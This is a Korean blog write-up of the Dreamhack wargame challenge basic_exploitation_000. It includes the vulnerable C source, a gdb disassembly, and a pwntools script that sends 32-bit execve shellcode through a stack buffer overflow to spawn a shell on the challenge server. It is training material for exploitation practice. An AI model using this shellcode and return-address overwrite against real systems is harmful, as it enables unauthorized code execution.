[Dreamhack Wargame] basic_exploitation_000

don't panic·2023년 12월 9일
0

System Hacking wargame

목록 보기
6/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

checksec 결과

  • 32bit 프로그램
  • 아무런 보호기법도 걸려있지 않다.

exploit

  • buf의 주소를 알고 있고, buf에 큰 값을 입력할 수 있으므로 bufshellcode를 넣고 return address를 buf의 주소로 다시 바꿔서 shellcode를 실행하면 되겠다.

gdb 결과

pwndbg> disass main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     add    esp,0xffffff80
   0x080485df <+6>:     call   0x8048592 <initialize>
   0x080485e4 <+11>:    lea    eax,[ebp-0x80]
   0x080485e7 <+14>:    push   eax
   0x080485e8 <+15>:    push   0x8048699
   0x080485ed <+20>:    call   0x80483f0 <printf@plt>
   0x080485f2 <+25>:    add    esp,0x8
   0x080485f5 <+28>:    lea    eax,[ebp-0x80]
   0x080485f8 <+31>:    push   eax
   0x080485f9 <+32>:    push   0x80486a5
   0x080485fe <+37>:    call   0x8048460 <__isoc99_scanf@plt>
   0x08048603 <+42>:    add    esp,0x8
   0x08048606 <+45>:    mov    eax,0x0
   0x0804860b <+50>:    leave
   0x0804860c <+51>:    ret
End of assembler dump.
  • buf: [rbp-0x80]
  • SFP: [rbp]
  • RET: [rbp+0x4]

exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 23348)

p.recvuntil(b'buf = (')
buf_addr = int(p.recvn(10), 16)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
buf = shellcode
buf += b'A' * (0x80 - len(buf))
buf += b'B' * 0x4
buf += p32(buf_addr)

p.sendline(buf)
p.interactive()

0개의 댓글